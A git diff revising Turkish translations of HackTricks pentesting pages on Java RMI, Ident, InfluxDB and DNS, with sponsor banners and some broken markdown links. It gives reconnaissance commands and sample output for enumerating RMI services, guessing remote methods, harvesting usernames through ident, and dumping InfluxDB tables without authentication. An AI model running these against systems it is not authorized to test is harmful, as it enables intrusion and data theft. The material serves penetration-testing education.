* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-[**Trickest**]'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Temel Bilgiler
-_Java Uzak Yöntem Çağrısı_, veya _Java RMI_, bir nesne odaklı _RPC_ mekanizmasıdır ve bir _Java sanal makinesinde_ bulunan bir nesnenin başka bir _Java sanal makinesinde_ bulunan bir nesnedeki yöntemleri çağırmasına izin verir. Bu, geliştiricilere nesne odaklı bir paradigma kullanarak dağıtılmış uygulamalar yazmalarını sağlar. Saldırgan bir bakış açısından _Java RMI_ hakkında kısa bir tanıtım [bu blackhat sunumunda](https://youtu.be/t\_aw1mDNhzI?t=202) bulunabilir.
+_Java Uzak Yöntem Çağrısı_, veya _Java RMI_, bir _RPC_ mekanizmasıdır ve bir _Java sanal makinesinde_ bulunan bir nesnenin başka bir _Java sanal makinesinde_ bulunan bir nesnedeki yöntemleri çağırmasına olanak tanır. Bu, geliştiricilere nesne yönelimli bir paradigma kullanarak dağıtılmış uygulamalar yazma imkanı sağlar. Saldırgan bir bakış açısından _Java RMI_ hakkında kısa bir tanıtım [bu blackhat sunumunda](https://youtu.be/t\_aw1mDNhzI?t=202) bulunabilir.
**Varsayılan port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
@@ -36,18 +36,18 @@ PORT STATE SERVICE VERSION
```
Genellikle, yalnızca varsayılan _Java RMI_ bileşenleri (_RMI Registry_ ve _Activation System_) ortak bağlantı noktalarına bağlanır. Gerçek _RMI_ uygulamasını uygulayan _uzak nesneler_ genellikle yukarıdaki çıktıda gösterildiği gibi rastgele bağlantı noktalarına bağlanır.
-_nmap_ bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluk çeker. Ortak bir _RMI_ bağlantı noktasında bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmalısınız.
+_nmap_ bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluk yaşayabilir. Ortak bir _RMI_ bağlantı noktasında bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmalısınız.
## RMI Bileşenleri
-Basitçe ifade etmek gerekirse, _Java RMI_ bir geliştiricinin bir _Java nesnesini_ ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesnede yöntemleri çağırabileceği bir _TCP_ bağlantı noktası açar. Bu basit gibi görünse de, _Java RMI_ nin çözmesi gereken birkaç zorluk vardır:
+Basit bir ifadeyle, _Java RMI_ bir geliştiricinin bir _Java nesnesini_ ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve karşılık gelen nesnede yöntemler çağırabileceği bir _TCP_ bağlantı noktası açar. Bu basit gibi görünse de, _Java RMI_ nin çözmesi gereken birkaç zorluk vardır:
-1. Bir yöntem çağrısını _Java RMI_ aracılığıyla yönlendirmek için, istemcilerin IP adresini, dinleme bağlantı noktasını, uygulanan sınıfı veya arabirimi ve hedeflenen nesnenin `ObjID` değerini ( `ObjID`, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. _Java RMI_, aynı _TCP_ bağlantı noktasında dinleyen birden fazla nesneye izin verdiği için gereklidir).
-2. Uzak istemciler, açığa çıkarılan nesne üzerinde yöntemleri çağırarak sunucuda kaynaklar ayırabilir. _Java sanal makinesi_, bu kaynakların hangisinin hala kullanımda olduğunu ve hangilerinin çöp toplanabileceğini takip etmelidir.
+1. _Java RMI_ aracılığıyla bir yöntem çağrısını dağıtmak için, istemcilerin hedef nesnenin IP adresini, dinleme bağlantı noktasını, uygulanan sınıfı veya arabirimini ve hedef nesnenin `ObjID` değerini ( `ObjID`, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. _Java RMI_, aynı _TCP_ bağlantı noktasında birden fazla nesnenin dinlemesine izin verir çünkü gereklidir).
+2. Uzak istemciler, açığa çıkarılan nesnede yöntemleri çağırarak sunucuda kaynaklar ayırabilir. _Java sanal makinesi_, bu kaynakların hangilerinin hala kullanımda olduğunu ve hangilerinin çöp toplanabileceğini izlemelidir.
-İlk zorluk, temelde bir _Java RMI_ için bir isimlendirme hizmeti olan _RMI kaydı_ tarafından çözülür. _RMI kaydı_ kendisi aynı zamanda bir _RMI hizmeti_ olmasına rağmen, uygulanan arabirim ve `ObjID` sabit ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin ilgili _TCP_ bağlantı noktasını bilerek _RMI_ kaydını tüketmelerine olanak tanır.
+İlk zorluk, _RMI registry_ tarafından çözülür, bu temelde bir _Java RMI_ için bir isimlendirme hizmetidir. _RMI registry_ kendisi aynı zamanda bir _RMI hizmeti_ olmasına rağmen, uygulanan arabirim ve `ObjID` sabit ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin ilgili _TCP_ bağlantı noktasını bilerek _RMI_ kaydını tüketmelerine olanak tanır.
-Geliştiriciler, _Java nesnelerini_ ağda kullanılabilir hale getirmek istediklerinde genellikle onları bir _RMI kaydına_ bağlarlar. _Kayıt_, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme bağlantı noktası, uygulanan sınıf veya arabirim ve `ObjID` değeri) ve bunu insan tarafından okunabilir bir isim altında ( _bağlı isim_) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, _RMI kaydından_ ilgili _bağlı ismi_ isteyerek kayıttan bağlantı için gerekli tüm bilgileri alır. Dolayısıyla, durum temelde normal bir _DNS_ hizmetiyle aynıdır. Aşağıdaki liste küçük bir örneği göstermektedir:
+Geliştiriciler, _Java nesnelerini_ ağda kullanılabilir hale getirmek istediklerinde genellikle onları bir _RMI registry_ 'ye bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme bağlantı noktası, uygulanan sınıf veya arabirim ve `ObjID` değeri) ve bunu insan tarafından okunabilir bir isim altında (bağlı isim) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, _RMI registry_ 'den ilgili _bağlı ismi_ sormakta ve registry, bağlanmak için gereken tüm bilgileri geri döndürmektedir. Dolayısıyla, durum temelde normal bir _DNS_ hizmetiyle aynıdır. Aşağıdaki liste küçük bir örneği göstermektedir:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@@ -71,15 +71,15 @@ e.printStackTrace();
}
}
```
-Yukarıda bahsedilen zorluklardan ikincisi _Dağıtılmış Çöp Toplayıcı_ (_DGC_) tarafından çözülür. Bu, iyi bilinen bir `ObjID` değerine sahip başka bir _RMI servisi_ ve temelde her _RMI uç noktasında_ mevcuttur. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzak nesnenin_ kullanımda olduğuna dair bir bilgiyi _DGC_'ye gönderir. _DGC_, referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.
+Yukarıda bahsedilen zorluklardan ikincisi _Dağıtılmış Çöp Toplayıcı_ (_DGC_) tarafından çözülür. Bu, bilinen bir `ObjID` değerine sahip başka bir _RMI servisi_ ve temelde her _RMI uç noktasında_ mevcuttur. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzak nesnenin_ kullanımda olduğuna dair bir bilgiyi _DGC_'ye gönderir. _DGC_ daha sonra referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.
-Eski _Aktivasyon Sistemi_ ile birlikte, bunlar _Java RMI_'nın üç varsayılan bileşenidir:
+Eski _Aktivasyon Sistemi_ ile birlikte, bunlar _Java RMI_'nin üç varsayılan bileşenidir:
1. _RMI Kayıt Defteri_ (`ObjID = 0`)
2. _Aktivasyon Sistemi_ (`ObjID = 1`)
3. _Dağıtılmış Çöp Toplayıcı_ (`ObjID = 2`)
-_Java RMI_'nın varsayılan bileşenleri uzun süredir bilinen saldırı vektörleri olmuştur ve eski _Java_ sürümlerinde birden fazla zayıflık bulunmaktadır. Bir saldırgan bakış açısından, bu varsayılan bileşenler ilginçtir, çünkü bilinen sınıflar / arabirimler uygulanmıştır ve bunlarla etkileşim kurmak kolaydır. Bu durum özel _RMI servisleri_ için farklıdır. Bir _uzak nesne_ üzerinde bir yöntem çağırmak için, ilgili yöntem imzasını önceden bilmelisiniz. Var olan bir yöntem imzasını bilmeden, bir _RMI servisiyle_ iletişim kurmanın bir yolu yoktur.
+_Java RMI_'nin varsayılan bileşenleri uzun süredir bilinen saldırı vektörleri olmuş ve eski _Java_ sürümlerinde birden fazla zayıflık bulunmaktadır. Bir saldırgan bakış açısından, bu varsayılan bileşenler ilginçtir, çünkü bilinen sınıflar / arabirimler uygulanmıştır ve bunlarla etkileşim kurmak oldukça kolaydır. Bu durum özel _RMI servisleri_ için farklıdır. Bir _uzak nesne_ üzerinde bir yöntem çağırmak için, ilgili yöntem imzasını önceden bilmelisiniz. Var olan bir yöntem imzasını bilmeden, bir _RMI servisiyle_ iletişim kurmanın bir yolu yoktur.
## RMI Numaralandırma
@@ -156,11 +156,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
-## Uzak Metotları Kaba Kuvvet Yöntemiyle Deneme
+## Uzak Metotların Bruteforcing'i
-Tarama sırasında herhangi bir zayıflık tespit edilmemiş olsa bile, mevcut _RMI_ hizmetleri hala tehlikeli fonksiyonları ortaya çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlere koruma sağlasa da, özel _RMI_ hizmetleriyle iletişim kurulduğunda bu tür filtreler genellikle mevcut değildir. Geçerli metod imzalarını bilmek _RMI_ hizmetlerinde değerli olabilir.
+Tarama sırasında herhangi bir zayıflık tespit edilmemiş olsa bile, mevcut _RMI_ hizmetleri hala tehlikeli fonksiyonları ortaya çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlere karşı deserializasyon filtreleri ile korunsa da, özel _RMI_ hizmetleriyle iletişim kurulduğunda, bu tür filtreler genellikle mevcut değildir. Geçerli metod imzalarını bilmek _RMI_ hizmetlerinde değerli olabilir.
-Ne yazık ki, _Java RMI_, _uzak nesnelerde_ metodları sıralamayı desteklemez. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla metod imzalarını kaba kuvvet yöntemiyle denemek mümkündür:
+Ne yazık ki, _Java RMI_, _uzak nesnelerde_ metodları sıralamayı desteklemez. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla metod imzalarını bruteforce etmek mümkündür:
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@@ -225,7 +225,7 @@ Daha fazla bilgi şu makalelerde bulunabilir:
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout)
-Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ servisinin arayüzünü veya hatta uygulamasını aramak için arama motorlarına veya _GitHub_ üzerinde de bakmalısınız. _Bound name_ ve uygulanan sınıfın veya arayüzün adı burada faydalı olabilir.
+Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ servisinin arayüzünü veya hatta uygulamasını aramak için arama motorlarına veya _GitHub_ üzerinde de bakmalısınız. _Bound name_ ve uygulanan sınıfın veya arayüzün adı burada yardımcı olabilir.
## Bilinen Arayüzler
@@ -301,6 +301,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
## Referanslar
* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
+
+## HackTricks Otomatik Komutları
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
@@ -311,10 +313,10 @@ Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
-
+
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/network-services-pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md
index b7c3794f1..3383edb1d 100644
--- a/network-services-pentesting/113-pentesting-ident.md
+++ b/network-services-pentesting/113-pentesting-ident.md
@@ -6,26 +6,26 @@
HackTricks'ı desteklemenin diğer yolları:
-- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
-- **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+- [**The PEASS Family**]'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+- **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
- **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Temel Bilgiler
-**Ident Protokolü**, bir **TCP bağlantısını** belirli bir kullanıcıyla ilişkilendirmek için **İnternet** üzerinde kullanılır. Başlangıçta **ağ yönetimi** ve **güvenlik** konularına yardımcı olmak amacıyla tasarlanmış olup, bir sunucunun belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için bir istemciyi 113 numaralı porta sorgulamasına izin vererek çalışır.
+**Ident Protokolü**, bir **TCP bağlantısını** belirli bir kullanıcıyla ilişkilendirmek için **İnternet** üzerinde kullanılır. Başlangıçta **ağ yönetimi** ve **güvenlik** konularına yardımcı olmak amacıyla tasarlanmış olup, bir sunucunun belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için port 113'te bir istekte bulunmasına izin vererek çalışır.
-Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, kullanımı yetkisiz taraflara kullanıcı bilgilerini yanlışlıkla açığa çıkarabileceğinden azalmıştır. Bu riskleri azaltmak için şifreli bağlantılar ve sıkı erişim kontrolleri gibi gelişmiş güvenlik önlemleri önerilmektedir.
+Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, kullanımı yetkisiz kişilere kullanıcı bilgilerini yanlışlıkla açığa çıkarabileceğinden dolayı azalmıştır. Bu riskleri azaltmak için şifreli bağlantılar ve sıkı erişim kontrolleri gibi gelişmiş güvenlik önlemleri önerilmektedir.
**Varsayılan port:** 113
```
@@ -34,13 +34,13 @@ PORT STATE SERVICE
```
## **Sıralama**
-### **Manuel - Kullanıcıyı Al/ Servisi Tanımla**
+### **Manuel - Kullanıcıyı Al/ Hizmeti Tanımla**
-Eğer bir makine ident ve samba (445) servislerini çalıştırıyorsa ve samba'ya 43218 portunu kullanarak bağlıysanız, samba servisini çalıştıran kullanıcıyı aşağıdaki şekilde alabilirsiniz:
+Bir makine ident ve samba (445) servislerini çalıştırıyorsa ve samba'ya 43218 numaralı bağlantı üzerinden bağlıysanız, samba servisini çalıştıran kullanıcıyı aşağıdaki şekilde alabilirsiniz:
![](<../.gitbook/assets/image (15) (1) (1).png>)
-Servise bağlandığınızda sadece enter tuşuna basarsanız:
+Servise bağlandığınızda sadece Enter tuşuna basarsanız:
![](<../.gitbook/assets/image (16) (1) (1).png>)
@@ -67,7 +67,7 @@ PORT STATE SERVICE VERSION
```
### Ident-user-enum
-[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum), hedef sistemin her TCP bağlantı noktasında dinleyen işlemin sahibini belirlemek için ident servisini (113/TCP) sorgulamak için basit bir PERL betiğidir. Toplanan kullanıcı adları listesi, diğer ağ servislerinde şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` komutu ile kurulabilir.
+[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum), her TCP bağlantı noktasında dinleyen işlem sahibini belirlemek için ident servisini (113/TCP) sorgulamak için basit bir PERL betiğidir. Toplanan kullanıcı adları listesi, diğer ağ servislerinde şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` komutu ile kurulabilir.
```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
@@ -85,10 +85,10 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
identd.conf
-
+
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
-Bugün Erişim Alın:
+Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -117,10 +117,10 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/8086-pentesting-influxdb.md b/network-services-pentesting/8086-pentesting-influxdb.md
index 52e9c7653..b18793615 100644
--- a/network-services-pentesting/8086-pentesting-influxdb.md
+++ b/network-services-pentesting/8086-pentesting-influxdb.md
@@ -1,24 +1,22 @@
# 8086 - InfluxDB Pentesting
-
+
-\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
-Bugün Erişim Alın:
+Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools. Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
+Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
-HackTricks'ı desteklemenin diğer yolları:
+Other ways to support HackTricks:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -31,13 +29,13 @@ HackTricks'ı desteklemenin diğer yolları:
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
```
-## Sıralama
+## Numaralandırma
-Bir pentester açısından bu da hassas bilgileri depolayabilecek başka bir veritabanı olduğundan, tüm bilgileri nasıl döküleceğini bilmek ilginç olabilir.
+Bir pentester açısından bu, hassas bilgileri depolayabilecek başka bir veritabanı olduğundan, tüm bilgileri nasıl döküleceğini bilmek ilginç olabilir.
### Kimlik Doğrulama
-InfluxDB kimlik doğrulaması gerektirebilir veya gerektirmeyebilir
+InfluxDB'nin kimlik doğrulama gerektirebileceği veya gerektirmeyebileceği bilinmelidir.
```bash
# Try unauthenticated
influx -host 'host name' -port 'port #'
@@ -53,7 +51,7 @@ Influxdb'de kimlik doğrulamasını atlamaya izin veren bir zafiyet bulunmaktayd
Bu örneğin bilgileri [**buradan**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/) alınmıştır.
-#### Veritabanlarını göster
+#### Veritabanlarını Göster
Bulunan veritabanları `telegraf` ve `internal` (bu her yerde bulunur) olarak belirlenmiştir.
```bash
@@ -106,7 +104,7 @@ inodes_used integer
```
#### Tabloyu Dök
-Ve son olarak, tabloyu dökmeniz gerekebilir, aşağıdaki gibi bir şey yaparak:
+Ve son olarak, tabloyu dökebilirsiniz, şöyle bir şey yaparak:
```bash
select * from cpu
name: cpu
@@ -116,7 +114,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
```
{% hint style="warning" %}
-Kimlik doğrulama atlamasıyla yapılan bazı testlerde, tablonun adının çift tırnaklar arasında olması gerektiği belirlendi: `select * from "cpu"`
+Kimlik doğrulama atlatma testlerinde bazı durumlarda tablo adının çift tırnak içinde olması gerektiği belirlendi: `select * from "cpu"`
{% endhint %}
### Otomatik Kimlik Doğrulama
@@ -129,18 +127,18 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-[**Trickest**]'i (https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/network-services-pentesting/pentesting-dns.md b/network-services-pentesting/pentesting-dns.md
index 6fb92850d..758e2aced 100644
--- a/network-services-pentesting/pentesting-dns.md
+++ b/network-services-pentesting/pentesting-dns.md
@@ -2,27 +2,27 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
+AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) keşfedin
-* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
